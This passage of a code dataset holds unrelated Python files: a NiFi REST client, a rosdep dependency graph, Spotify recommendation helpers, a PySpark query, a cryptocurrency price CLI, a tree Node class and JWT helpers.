htcap_juiceshop_report.html ./../reports', shell=True)\n\n#print run times\nprint(\"\\nCRAWL TIME (minutes):\")\nprint((int)(total1))\nprint(\"\\nSCAN TIME (minutes):\")\nprint((int)(total2))\n\n#persist the window to view results\n# input(\"\\n Press enter to close window...\")","sub_path":"run_scripts/htcap/juiceshop/2_htcap.py","file_name":"2_htcap.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"308880536","text":"import requests,json\n\n\nclass RestApi:\n\n def getCallNifi(self, url,processGroupId=None, type=None, uri=None,provenanceType=None):\n r=None\n try:\n headers = {\n 'Content-Type': 'application/json',\n }\n if processGroupId == None and type == None and uri == None and provenanceType==None:\n newUrl=url+'/flow/search-results'\n print(newUrl)\n r = requests.get(newUrl,headers=headers)\n #r = requests.get('http://localhost:8080/nifi-api/flow/search-results', headers=headers)\n elif processGroupId != None and type == None and uri==None and provenanceType==None:\n newUrl= url +'/process-groups/' + processGroupId\n r = requests.get(newUrl, headers=headers)\n elif processGroupId != None and type != None and uri==None and provenanceType==None:\n newUrl = url + '/process-groups/' + processGroupId + \"/\" + type\n r = requests.get(newUrl, headers=headers)\n elif processGroupId == None and type == None and uri != None and provenanceType==None:\n #newUrl = self.url + '/processors/' + uri\n r = requests.get(uri, headers=headers)\n elif processGroupId == None and type == None and uri == None and provenanceType!=None:\n r = requests.get(url, headers=headers)\n\n except Exception as e:\n print(\"Error is \" +str(e))\n\n return (r.reason, r.status_code, r.content)\n\n # def getCallNifi(self, url):\n # r=None\n # try:\n # headers = {\n # 'Content-Type': 'application/json',\n # }\n # r = requests.get(url,headers=headers)\n # except Exception as e:\n # print(\"Error is \" +str(e))\n # return (r.reason, r.status_code, r.content)\n\n def postCallElk(self, url, indexName, data, value):\n r=None\n\n headers = {\n 'Content-Type': 'application/json',\n }\n\n newElkUrl = url + indexName + \"/doc/\" + value\n print(\"data\" + data)\n\n try:\n r = requests.post(newElkUrl, headers=headers, data=data)\n print(r.reason, r.status_code, r.content)\n except Exception as e:\n print(\"Error is \" + str(e))\n\n return (r.reason, r.status_code, r.content)\n\n def postCallNifi(self, url, data, value):\n r = None\n\n headers = {\n 'Content-Type': 'application/json',\n }\n\n newUrl = url + \"/\" + value\n data = json.dumps(data)\n\n try:\n r = requests.post(newUrl, headers=headers, data=data)\n except Exception as e:\n print(\"Error is \" + str(e))\n\n return (r.reason, r.status_code, r.content)\n #response = requests.post('http://bdfelasticdev.rxcorp.com/dqe_rx_pg_audit_dev_write/doc', headers=headers)\n\n def deleteCallNifi(self,url):\n r = None\n try:\n headers = {\n 'Content-Type': 'application/json',\n }\n r = requests.delete(url, headers=headers)\n except Exception as e:\n print(\"Error is \" + str(e))\n return (r.reason, r.status_code, r.content)\n","sub_path":"Python/NifiLoggingSystem/com/rxcorp/daqe/etl/rest/RestApi.py","file_name":"RestApi.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"579022144","text":"# Copyright (c) 2012, Willow Garage, Inc.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# * Neither the name of the Willow Garage, Inc. nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\n# Author William Woodall/wjwwood@gmail.com\n\nfrom collections import defaultdict\n\n\nclass Resolution(dict):\n \"\"\"A default dictionary for use in the :class:`DependencyGraph`.\"\"\"\n def __init__(self):\n super(Resolution, self).__init__()\n self['installer_key'] = None\n self['install_keys'] = []\n self['dependencies'] = []\n self['is_root'] = True\n\n\nclass DependencyGraph(defaultdict):\n \"\"\"\n Provides a mechanism for generating a list of resolutions which preserves the dependency order.\n\n The :class:`DependencyGraph` inherits from a *defaultdict*, so it can be used as such to load\n the dependency graph data into it.\n Example::\n\n # Dependency graph:: A-B-C\n dg = DependencyGraph()\n dg['A']['installer_key'] = 'a_installer'\n dg['A']['install_keys'] = ['a']\n dg['A']['dependencies'] = ['B']\n dg['B']['installer_key'] = 'b_installer'\n dg['B']['install_keys'] = ['b']\n dg['B']['dependencies'] = ['C']\n dg['C']['installer_key'] = 'c_installer'\n dg['C']['install_keys'] = ['c']\n dg['C']['dependencies'] = []\n result = dg.get_ordered_uninstalled()\n\n \"\"\"\n def __init__(self):\n defaultdict.__init__(self, Resolution)\n\n def detect_cycles(self, rosdep_key, traveled_keys):\n \"\"\"\n Recursive function to detect cycles in the dependency graph.\n\n :param rosdep_key: This is the rosdep key to use as the root in the cycle exploration.\n :param traveled_keys: A list of rosdep_keys that have been traversed thus far.\n\n :raises: :exc:`AssertionError` if the rosdep_key is in the traveled keys, indicating a cycle has occurred.\n \"\"\"\n assert rosdep_key not in traveled_keys, 'A cycle in the dependency graph occurred with key `%s`.' % rosdep_key\n traveled_keys.append(rosdep_key)\n for dependency in self[rosdep_key]['dependencies']:\n self.detect_cycles(dependency, traveled_keys)\n\n def validate(self):\n \"\"\"\n Performs validations on the dependency graph, like cycle detection and invalid rosdep key detection.\n\n :raises: :exc:`AssertionError` if a cycle is detected.\n :raises: :exc:`KeyError` if an invalid rosdep_key is found in the dependency graph.\n \"\"\"\n for rosdep_key in self:\n # Ensure all dependencies have definitions\n # i.e.: Ensure we aren't pointing to invalid rosdep keys\n for dependency in self[rosdep_key]['dependencies']:\n if dependency not in self:\n raise KeyError(\n 'Invalid Graph Structure: rosdep key `%s` does not exist in the dictionary of resolutions.'\n % dependency)\n self[dependency]['is_root'] = False\n # Check each entry for cyclical dependencies\n for rosdep_key in self:\n self.detect_cycles(rosdep_key, [])\n\n def get_ordered_dependency_list(self):\n \"\"\"\n Generates an ordered list of dependencies using the dependency graph.\n\n :returns: *[(installer_key, [install_keys])]*, ``[(str, [str])]``. *installer_key* is the key\n that denotes which installed the accompanying *install_keys* are for. *installer_key* are something\n like ``apt`` or ``homebrew``. *install_keys* are something like ``boost`` or ``ros-fuerte-ros_comm``.\n\n :raises: :exc:`AssertionError` if a cycle is detected.\n :raises: :exc:`KeyError` if an invalid rosdep_key is found in the dependency graph.\n \"\"\"\n # Validate the graph\n self.validate()\n # Generate the dependency list\n dep_list = []\n for rosdep_key in self:\n if self[rosdep_key]['is_root']:\n dep_list.extend(self.__get_ordered_uninstalled(rosdep_key))\n # Make the list unique and remove empty entries\n result = []\n for item in dep_list:\n if item not in result and item[1] != []:\n result.append(item)\n # Squash the results by installer_key\n squashed_result = []\n previous_installer_key = None\n for installer_key, resolved in result:\n if previous_installer_key != installer_key:\n squashed_result.append((installer_key, []))\n previous_installer_key = installer_key\n squashed_result[-1][1].extend(resolved)\n return squashed_result\n\n def __get_ordered_uninstalled(self, key):\n uninstalled = []\n for dependency in self[key]['dependencies']:\n uninstalled.extend(self.__get_ordered_uninstalled(dependency))\n uninstalled.append((self[key]['installer_key'], self[key]['install_keys']))\n return uninstalled\n","sub_path":"src/rosdep2/dependency_graph.py","file_name":"dependency_graph.py","file_ext":"py","file_size_in_byte":6327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"540339026","text":"# Function to get Id's of the tracks which are the user listens the most\r\n\r\n# In[ ]:\r\nimport pandas as pd\r\n\r\ndef topTrackId(sp):\r\n #User top track bilgilerini alıyor\r\n results = sp.current_user_top_tracks( limit=50, time_range='medium_term',)\r\n\r\n track_id=[]\r\n\r\n #Gelen json response dan şarkıların id lerini alıyor\r\n for i, item in enumerate(results['items']):\r\n #print (i, item['id'], '//', item['artists'][0]['name'],'//',item['name'])\r\n track_id.append(item['id'])\r\n return track_id\r\n\r\n\r\n# Getting Features of the most listened tracks\r\n\r\n# In[ ]:\r\n\r\n\r\ndef topTrackFeatures(sp,track_id):\r\n\r\n\r\n #gelen şarkı id lerinin feature larını alıyor\r\n top_analysis=sp.audio_features(track_id)\r\n return top_analysis\r\n\r\n\r\n# Getting the Id's of most listened songs of user's favorite Artists\r\n\r\n# In[ ]:\r\n\r\n\r\ndef topArtistTrackId(sp):\r\n\r\n #User top artist bilgilerini alıyor\r\n artresults=sp.current_user_top_artists(limit=100, time_range='medium_term')\r\n\r\n artanalysis=[]\r\n #kullanıcının en çok dinlediği müzisyenlerin şarkı bilgisi\r\n for i, item in enumerate(artresults['items']):\r\n\r\n artanalysis.append(sp.artist_top_tracks(item['id'],country='TR'))\r\n\r\n #müzisyenlerinin en ünlü şarkılarının id'lerinin bir listeye atılması\r\n art_track=[]\r\n for i in range(len(artanalysis)):\r\n for k in range(len(artanalysis[i]['tracks'])):\r\n #print (artanalysis[i]['tracks'][k]['id'])\r\n art_track.append(artanalysis[i]['tracks'][k]['id'])\r\n\r\n # Liste duplicate veri içeriyor mu kontrolü\r\n #print(\"art_track1\",len(art_track))\r\n art_track=(list(set(art_track)))\r\n return art_track\r\n\r\n\r\n# Getting the Features of most famous songs of Artists\r\n\r\n# In[ ]:\r\n\r\n\r\ndef topArtistTrackFeatures(sp,art_track):\r\n\r\n\r\n #isteği yaparken array çok uzun bir url oluşturduğu için array i bölmek zorundayız\r\n #list'de genelde 400 den fazla şarkı bulunacağı için ve maksimum istek miktarı 100 olduğu için 5 e böldük\r\n total_list=[]\r\n\r\n #listenin bölünmesi\r\n list0=art_track[0:100]\r\n list1=art_track[100:200]\r\n list2=art_track[200:300]\r\n list3=art_track[300:400]\r\n list4=art_track[400:]\r\n #her liste için ayrı ayrı istek atılması ve birleştirilmesi\r\n total_list=total_list+sp.audio_features(list0)\r\n total_list=total_list+sp.audio_features(list1)\r\n total_list=total_list+sp.audio_features(list2)\r\n total_list=total_list+sp.audio_features(list3)\r\n total_list=total_list+sp.audio_features(list4)\r\n\r\n return total_list\r\n\r\n\r\ndef newdata(sp,top_analysis,art_id):\r\n\r\n features = [\"danceability\", \"loudness\", \"valence\", \"energy\", \"instrumentalness\", \"acousticness\", \"key\", \"speechiness\",\"duration_ms\"]\r\n\r\n\r\n top_data=pd.DataFrame(top_analysis)\r\n top_id=top_data['id']\r\n top_data=top_data[features]\r\n #top listesine relevance değerleri atıyor\r\n top_index=top_data.index.tolist()\r\n fifty=list(range(1,len(top_index)+1))\r\n top_data['relevance']=fifty[::-1]\r\n\r\n n=len(top_index)+1\r\n\r\n divider=(n*(n+1))/2\r\n\r\n top_data['r_valence']=top_data['valence']*top_data['relevance']\r\n top_data['r_energy']=top_data['energy']*top_data['relevance']\r\n top_data['r_danceability']=top_data['danceability']*top_data['relevance']\r\n top_data['r_speechiness']=top_data['speechiness']*top_data['relevance']\r\n #top_data['r_tempo']=top_data['tempo']*top_data['relevance']\r\n top_data['r_acousticness']=top_data['acousticness']*top_data['relevance']\r\n\r\n #1275'e böleriz çünkü (n*n+1)/2 50 tane item var\r\n top_mean_valence=(top_data['r_valence'].sum())/divider\r\n #print(\"top valence:\",top_mean_valence)\r\n top_mean_energy=(top_data['r_energy'].sum())/divider\r\n #print(\"top energy:\",top_mean_energy)\r\n top_mean_danceability=(top_data['r_danceability'].sum())/divider\r\n #print(\"top_danceability:\",top_mean_danceability)\r\n top_mean_speechiness=(top_data['r_speechiness'].sum())/divider\r\n #print(\"top_speechiness:\",top_mean_speechiness)\r\n #top_mean_tempo=(top_data['r_tempo'].sum())/1275\r\n #print(\"top_tempo:\",top_mean_tempo)\r\n top_mean_acousticness=(top_data['r_acousticness'].sum())/divider\r\n #print(\"top_acousticness:\",top_mean_acousticness)\r\n\r\n artresults=sp.current_user_top_artists(limit=100, time_range='medium_term')\r\n artist=[]\r\n\r\n for i, item in enumerate(artresults['items']):\r\n artist.append(item['id'])\r\n\r\n seed_track=top_id.tolist()\r\n #recommend şarkı almak için kurallar\r\n #rules for song recommendations\r\n #for valence\r\n if top_mean_valence>0.3:\r\n max_valence=3\r\n min_valence=None\r\n else:\r\n max_valence=None\r\n min_valence=3\r\n #for energy\r\n if top_mean_energy>0.5:\r\n max_energy=0.5\r\n min_energy=None\r\n else:\r\n max_energy=None\r\n min_energy=0.5\r\n #for danceability\r\n if top_mean_danceability>0.5:\r\n max_danceability=0.5\r\n min_danceability=None\r\n else:\r\n max_danceability=None\r\n min_danceability=0.5\r\n #for acousticness\r\n if top_mean_acousticness>0.5:\r\n max_acousticness=0.5\r\n min_acousticness=None\r\n else:\r\n max_acousticness=None\r\n min_acousticness=0.5\r\n #for tempo\r\n '''if top_mean_tempo>110:\r\n max_tempo=110\r\n min_tempo=None\r\n else:\r\n max_tempo=None\r\n min_tempo=110'''\r\n\r\n\r\n\r\n #!!!KENDİNE HATIRLATMA !!! bunu çalıştırmak için kütüphanenin client.py dosyasındaki seed_artist kısmında virgül eklenen kısmı sildin.\r\n recs=sp.recommendations(limit=100,seed_artists=artist[45:],seed_tracks=seed_track[-3:],country='TR',max_valence=max_valence,min_valence=min_valence,max_energy=max_energy,min_energy=min_energy,max_danceability=max_danceability,min_danceability=min_danceability)\r\n bad_id=[]\r\n for track in recs['tracks']:\r\n bad_id.append(track['id'])\r\n bad_list=sp.audio_features(bad_id)\r\n #bad_list=pd.DataFrame(bad_list)\r\n print(len(bad_list))\r\n return bad_list\r\n","sub_path":"Flaskv2/userData.py","file_name":"userData.py","file_ext":"py","file_size_in_byte":6231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"211393407","text":"from pyspark.sql import SparkSession\nimport datetime as dt\nimport time\n\ndef get_year(x):\n return x.year\n\nstart_time = time.time()\n\nspark = SparkSession.builder.appName(\"Q1-SQL\").getOrCreate()\n\nmovies = spark.read.format('csv'). \\\n options(header='false', inferSchema='true'). \\\n load(\"hdfs://master:9000/movies/movies.csv\")\n\nmovies.registerTempTable(\"movies\")\n# spark.udf.register(\"get_year\", get_year)\n\nsqlString = \\\n \"SELECT YEAR(a._c3) AS Year, a._c1 AS Title, (100*(a._c6 - a._c5)/a._c5) AS Revenue \" + \\\n \"FROM movies AS a \" + \\\n \"INNER JOIN ( \" + \\\n \"SELECT YEAR(_c3) AS Year, MAX(100*(_c6 -_c5)/_c5) AS Revenue \" + \\\n \"FROM movies \" + \\\n \"WHERE _c3 IS NOT NULL AND _c5 <> 0 AND _c6 <> 0 AND YEAR(_c3) >= 2000 \" + \\\n \"GROUP BY YEAR(_c3) \" + \\\n \") AS b ON YEAR(a._c3) = b.Year AND (100*(a._c6 - a._c5)/a._c5) = b.Revenue \" + \\\n \"ORDER BY 1 \"\n\nres = spark.sql(sqlString)\nres.show()\nres.coalesce(1).write.csv(\"hdfs://master:9000/output/q1.csv\")\n\nelapsed_time = (time.time() - start_time)\nprint(\"\\n--- %s seconds ---\\n\" % elapsed_time)\n\nf = open(\"output/sql/csv/times.txt\", \"a\")\nf.write(\"Q1:\"+str(elapsed_time)+\"\\n\")\nf.close()","sub_path":"queries/sql/csv/q1_sql_csv.py","file_name":"q1_sql_csv.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"209622265","text":"import logging\nfrom configparser import ConfigParser\nfrom appdirs import user_config_dir\nfrom pathlib import Path\nimport os\nimport click\nfrom itertools import chain, product\nfrom collections import namedtuple\nimport asyncio\nfrom streamz import Stream\nimport attr\n\n\nlogger = logging.getLogger(__name__)\n\n\nconfig = ConfigParser()\n# TODO: better define which files will be supported or use click-config pkg\nfor config_file in [Path(user_config_dir()) / 'numismatic.ini',\n Path(os.environ['HOME']) / '.coinrc']:\n if config_file.exists():\n config.read(config_file)\n\n\nDEFAULT_ASSETS = ['BTC']\nDEFAULT_CURRENCIES = ['USD']\nENVVAR_PREFIX = 'NUMISMATIC'\n\npass_state = click.make_pass_decorator(dict, ensure=True)\n\n@click.group(chain=True)\n@click.option('--feed', '-f', default='cryptocompare',\n type=click.Choice(['cryptocompare', 'luno']))\n@click.option('--cache-dir', '-d', default=None)\n@click.option('--requester', '-r', default='base',\n type=click.Choice(['base', 'caching']))\n@click.option('--log-level', '-l', default='info', \n type=click.Choice(['debug', 'info', 'warning', 'error',\n 'critical']))\n@pass_state\ndef coin(state, feed, cache_dir, requester, log_level):\n '''Numismatic Command Line Interface\n\n Examples:\n\n coin list\n\n coin info\n\n coin info -a ETH\n\n coin prices\n\n coin prices -a XMR,ZEC -c EUR,ZAR\n\n coin -f luno prices -a XBT -c ZAR\n\n NUMISMATIC_CURRENCIES=ZAR coin prices\n\n coin history\n\n coin history -a ETH -c BTC -o ETH-BTH-history.json\n\n coin listen collect run\n\n coin listen -a BTC,ETH,XMR,ZEC collect -t Trade run -t 30\n '''\n logging.basicConfig(level=getattr(logging, log_level.upper()))\n from .datafeeds import Datafeed\n state['cache_dir'] = cache_dir\n state['datafeed'] = \\\n Datafeed.factory(feed_name=feed, cache_dir=cache_dir,\n requester=requester)\n state['output_stream'] = Stream()\n state['subscriptions'] = {}\n\n@coin.command(name='list')\n@click.option('--output', '-o', type=click.File('wt'), default='-')\n@pass_state\ndef list_all(state, output):\n \"List all available assets\"\n datafeed = state['datafeed']\n assets_list = datafeed.get_list()\n write(assets_list, output, sep=' ')\n\n@coin.command()\n@click.option('--assets', '-a', multiple=True, default=DEFAULT_ASSETS,\n envvar=f'{ENVVAR_PREFIX}_ASSETS')\n@click.option('--output', '-o', type=click.File('wt'), default='-')\n@pass_state\ndef info(state, assets, output):\n \"Info about the requested assets\"\n assets = ','.join(assets)\n datafeed = state['datafeed']\n assets_info = datafeed.get_info(assets)\n write(assets_info, output)\n\n\n@coin.command()\n@click.option('--assets', '-a', multiple=True, default=DEFAULT_ASSETS,\n envvar=f'{ENVVAR_PREFIX}_ASSETS')\n@click.option('--currencies', '-c', multiple=True, default=DEFAULT_CURRENCIES,\n envvar=f'{ENVVAR_PREFIX}_CURRENCIES')\n@click.option('--output', '-o', type=click.File('wt'), default='-')\n@pass_state\ndef prices(state, assets, currencies, output):\n 'Latest asset prices'\n # FIXME: This should also use split here to be consistent\n assets = ','.join(assets)\n currencies = ','.join(currencies)\n datafeed = state['datafeed']\n prices = datafeed.get_prices(assets=assets, currencies=currencies)\n write(prices, output)\n\n\n@coin.command()\n@click.option('--freq', '-f', default='d', type=click.Choice(list('dhms')))\n@click.option('--start-date', '-s', default=-30)\n@click.option('--end-date', '-e', default=None)\n@click.option('--assets', '-a', multiple=True, default=DEFAULT_ASSETS,\n envvar=f'{ENVVAR_PREFIX}_ASSETS')\n@click.option('--currencies', '-c', multiple=True, default=DEFAULT_CURRENCIES,\n envvar=f'{ENVVAR_PREFIX}_CURRENCIES')\n@click.option('--output', '-o', type=click.File('wt'), default='-')\n@pass_state\ndef history(state, assets, currencies, freq, start_date, end_date, output):\n 'Historic asset prices and volumes'\n assets = ','.join(assets).split(',')\n currencies = ','.join(currencies).split(',')\n datafeed = state['datafeed']\n data = []\n for asset, currency in product(assets, currencies):\n pair_data = datafeed.get_historical_data(\n asset, currency, freq=freq, start_date=start_date, end_date=end_date)\n data.extend(pair_data)\n write(data, output)\n\n\ndef tabulate(data):\n if isinstance(data, dict):\n data_iter = data.values()\n elif isinstance(data, list):\n data_iter = data\n else:\n raise TypeError(f'data: {data}')\n headers = set(chain(*map(lambda v: v.keys(), data_iter)))\n DataTuple = namedtuple('DataTuple', ' '.join(headers))\n DataTuple.__new__.__defaults__ = (None,) * len(headers)\n return map(lambda d: DataTuple(**d), data_iter)\n\n\n@coin.command()\n@click.option('--exchange', '-e', default='bitfinex',\n type=click.Choice(['bitfinex', 'luno']))\n@click.option('--assets', '-a', multiple=True, default=DEFAULT_ASSETS,\n envvar=f'{ENVVAR_PREFIX}_ASSETS')\n@click.option('--currencies', '-c', multiple=True, default=DEFAULT_CURRENCIES,\n envvar=f'{ENVVAR_PREFIX}_CURRENCIES')\n@click.option('--raw-output', '-r', default=None)\n@click.option('--batch-size', '-b', default=1, type=int)\n@click.option('--channel', '-C', default='trades',\n type=click.Choice(['trades', 'ticker']))\n@click.option('--api-key-id', default=None)\n@click.option('--api-key-secret', default=None)\n@pass_state\ndef listen(state, exchange, assets, currencies, raw_output, batch_size, \n channel, api_key_id, api_key_secret):\n 'Listen to live events from an exchange'\n # FIXME: Use a factory function here\n from .exchanges import BitfinexExchange, LunoExchange\n assets = ','.join(assets).split(',')\n currencies = ','.join(currencies).split(',')\n pairs = list(map(''.join, product(assets, currencies)))\n output_stream = state['output_stream']\n subscriptions = state['subscriptions']\n if exchange=='bitfinex':\n for pair in pairs:\n exchange = BitfinexExchange(output_stream=output_stream,\n raw_stream=raw_output,\n batch_size=batch_size)\n subscription = exchange.listen(pair, channel)\n subscriptions[f'{pair}-{exchange}'] = subscription\n elif exchange=='luno':\n if api_key_id is None:\n api_key_id = (config['Luno'].get('api_key_id', '') if 'Luno' in\n config else '')\n api_key_secret = (config['Luno'].get('api_key_secret', '') if\n 'Luno' in config else '')\n exchange = LunoExchange(output_stream=output_stream,\n raw_stream=raw_output,\n batch_size=batch_size,\n api_key_id=api_key_id,\n api_key_secret=api_key_secret)\n for pair in pairs:\n subscription = exchange.listen(pair)\n subscriptions[f'{pair}-{exchange}'] = subscription\n else:\n raise NotImplementedError()\n\n\n@coin.command()\n@click.option('--filter', '-f', default='', type=str, multiple=True)\n@click.option('--type', '-t', default=None,\n type=click.Choice(['None', 'Trade', 'Heartbeat']))\n@click.option('--output', '-o', default='-', type=click.File('w'))\n@click.option('--events', 'format', flag_value='events', default=True)\n@click.option('--json', 'format', flag_value='json')\n@pass_state\ndef collect(state, filter, type, output, format):\n 'Collect events and write them to an output sink'\n # TODO: The filter logic here should be moved to the collectors module\n output_stream = state['output_stream']\n if type:\n output_stream = output_stream.filter(\n lambda ev: ev.__class__.__name__==type)\n filters = filter\n for filter in filters:\n output_stream = output_stream.filter(\n lambda x: eval(filter, attr.asdict(x)))\n if format=='json':\n output_stream = output_stream.map(lambda ev: ev.json())\n sink = (output_stream\n .map(lambda ev: output.write(str(ev)+'\\n'))\n .map(lambda ev: output.flush())\n )\n\n\n@coin.command()\n@click.option('--timeout', '-t', default=15)\n@pass_state\ndef run(state, timeout):\n \"\"\"\n Run the asyncio event loop for a set amount of time. Defaults to\n 15 seconds. Set to 0 to run indefinitely.\n \"\"\"\n if not timeout:\n # Allow to run indefinitely if timeout==0\n timeout = None\n subscriptions = state['subscriptions']\n loop = asyncio.get_event_loop()\n logger.debug('starting ...')\n completed, pending = \\\n loop.run_until_complete(asyncio.wait(subscriptions.values(),\n timeout=timeout))\n logger.debug('cancelling ...')\n for task in pending:\n task.cancel()\n logger.debug('finishing...')\n loop.run_until_complete(asyncio.sleep(1))\n logger.debug('done')\n\n\ndef write(data, file, sep='\\n'):\n for record in data:\n file.write(str(record)+sep)\n\n\nif __name__ == '__main__':\n coin()\n","sub_path":"numismatic/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":9259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"442586741","text":"\"\"\"Lightweight and specific implementation of a tree data structure and helper functions for visualisation and exportation.\"\"\"\n\n__author__ = \"Samuel Hutchinson @ Murrumbidgee Irrigation\"\n__email__ = \"samuel.hutchinson@mirrigation.com.au\"\n\nfrom topology_linker.src.constants import OBJECT, LINK_OBJECT, LINK_DESCRIPTION, POSITION, DS_METER\nfrom typing import List, Union\nimport pandas as pd\nfrom fginvestigation.extraction import get_data_ordb\n\nclass Node:\n def __init__(self, object_name: str = 'root',\n object_description: str ='root',\n object_no: str = 'root',\n children: list = None, parent: object = None):\n \"\"\"\n :type children: List[Node]\n :type parent: Node\n \"\"\"\n self.children = list() if children is None else children\n self.parent: Node = parent\n self.object_name = object_name\n self.object_description = object_description\n self.object_type = None\n self.index = None\n #self.object_id = str(object_id)\n try:\n self.object_no = get_data_ordb(f\"Select OBJECT_NO From OBJECT WHERE OBJECT_NAME = '{object_name}'\").iloc[0, 0] if object_name != 'root' else object_no\n except:\n self.object_no = str(object_name)\n\n def get_children_as_dict(self):\n \"\"\"Currently not used but could be helpful?\"\"\"\n dict_out = dict()\n for child in self.children:\n if child.object_description not in dict_out:\n dict_out[child.object_description] = []\n dict_out[child.object_description].append(child)\n\n return dict_out\n\n def __str__(self):\n out = \"\"\n rep = f\"{self.object_name} - {self.object_description} ({self.object_no})\"\n out += rep+\"\\n\"\n\n for i, v in enumerate(self.children):\n padding_str = '│ '\n padding_str_blank = ' '\n chld = v.__str__()\n padding = self.__at_end_array()\n padding = [padding_str_blank if i is True else padding_str for i in padding]\n out += \"\".join(padding)\n if i == len(self.children) - 1:\n out += '└─── '\n else:\n out += '├─── '\n out += chld\n return out\n\n def __repr__(self):\n return f\"{self.object_name} - {self.object_description} at 0x{id(self):016X}\"\n\n def get_depth(self):\n if self.parent is None:\n return 0\n else: return 1 + self.parent.get_depth()\n\n def __at_end_array(self):\n \"\"\"Private method. Returns an array of booleans as to whether the parent at each level\n is at the end of the chain or not from thr root at index 0 to the node at level n at index n\"\"\"\n if self.parent is None:\n #root is next\n return []\n else:\n return self.parent.__at_end_array() + [self.parent.children.index(self) == len(self.parent.children) - 1]\n\n\n def addNode(self, childNode):\n if isinstance(childNode, list):\n for i in childNode:\n self.children.append(i)\n i.index = len(self.children) - 1\n i.parent = self\n\n else:\n self.children.append(childNode)\n childNode.index = len(self.children) - 1\n childNode.parent = self\n\n def as_df(self):\n \"\"\"Helper function for easy exporting of the tree data structure to a link table\"\"\"\n df = {\n OBJECT:[],\n LINK_OBJECT:[],\n LINK_DESCRIPTION:[],\n POSITION:[]\n }\n df = pd.DataFrame(df)\n\n for i, child in enumerate(self.children):\n if len(child.children) > 0:\n df = pd.concat([df, child.as_df()])\n df = df.append({\n OBJECT: str(self.object_no),\n LINK_OBJECT: str(child.object_no),\n LINK_DESCRIPTION: str(child.object_description),\n POSITION: str(child.index)\n },\n ignore_index=True)\n\n return df\n\n def get_last_child(self):\n if len(self.children) > 0:\n return self.children[-1].get_last_child()\n return self\n\n def get_all_of_desc(self, desc: Union[str, list] = DS_METER) -> list:\n \"\"\"\n Gets all of the objects of \"desc\" from the current node (and all of the children of this node)\n :return: array of nodes (in no particular order)\n \"\"\"\n if isinstance(desc, str):\n desc = [desc]\n out = []\n for child in self.children:\n if child.object_description in desc:\n out.append(child)\n out += child.get_all_of_desc(desc)\n return out\n\n def get_all(self) -> list:\n \"\"\"\n Gets all of the objects from the current node (and all of the children of this node)\n :return: array of nodes (in no particular order)\n \"\"\"\n out = []\n for child in self.children:\n out.append(child)\n out += child.get_all()\n return out\n\n\n\n\n\n","sub_path":"topology_linker/src/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":5070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"106121748","text":"import jwt\nimport datetime\n\n\ndef create_token(user, expireminutes, secretkey):\n creation_date = datetime.datetime.now()\n expiration_date = creation_date + datetime.timedelta(minutes=expireminutes)\n\n creation_date = creation_date.timestamp()\n expiration_date = expiration_date.timestamp()\n\n payload = {\n 'user': user,\n 'iat': creation_date,\n 'exp': expiration_date\n }\n\n try:\n token_encode = jwt.encode(payload,\n secretkey,\n algorithm=\"HS256\")\n except:\n token_encode = None\n\n return token_encode\n\n\n\n\ndef verify_token(token, secretkey):\n\n try:\n dec_token = jwt.decode(token,\n secretkey,\n algorithms=[\"HS256\"],\n options={\"verify_signature\": True})\n\n if dec_token['exp'] >= datetime.datetime.now().timestamp():\n payload = {\n 'user': dec_token['user'],\n 'iat': datetime.datetime.fromtimestamp(dec_token['iat']),\n 'exp': datetime.datetime.fromtimestamp(dec_token['exp'])\n }\n else:\n payload = None\n except:\n payload = None\n\n\n return payload","sub_path":"exercicios/atividades/pratica8/jwt_lib_api.py","file_name":"jwt_lib_api.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"216178662","text":"def qwertyFinder(someWord):\n '''Return the location of the first occurance of qwerty. If none, return -1.\n\n ex. qwertyFinder(\"cannot\") -> 5\n qwertyFinder(\"interpreter\") -> 2\n qwertyFinder(\"quack\") -> 0\n qwertyFinder(\"had\") -> -1 '''\n\n counter = 0\n lettersToFind = \"qwerty\"\n\n for letter in someWord:\n if letter in lettersToFind:\n #we just found one of the letters\n return counter\n else:\n #didn't find it at this spot\n counter = counter + 1\n\n #didn't find the letter 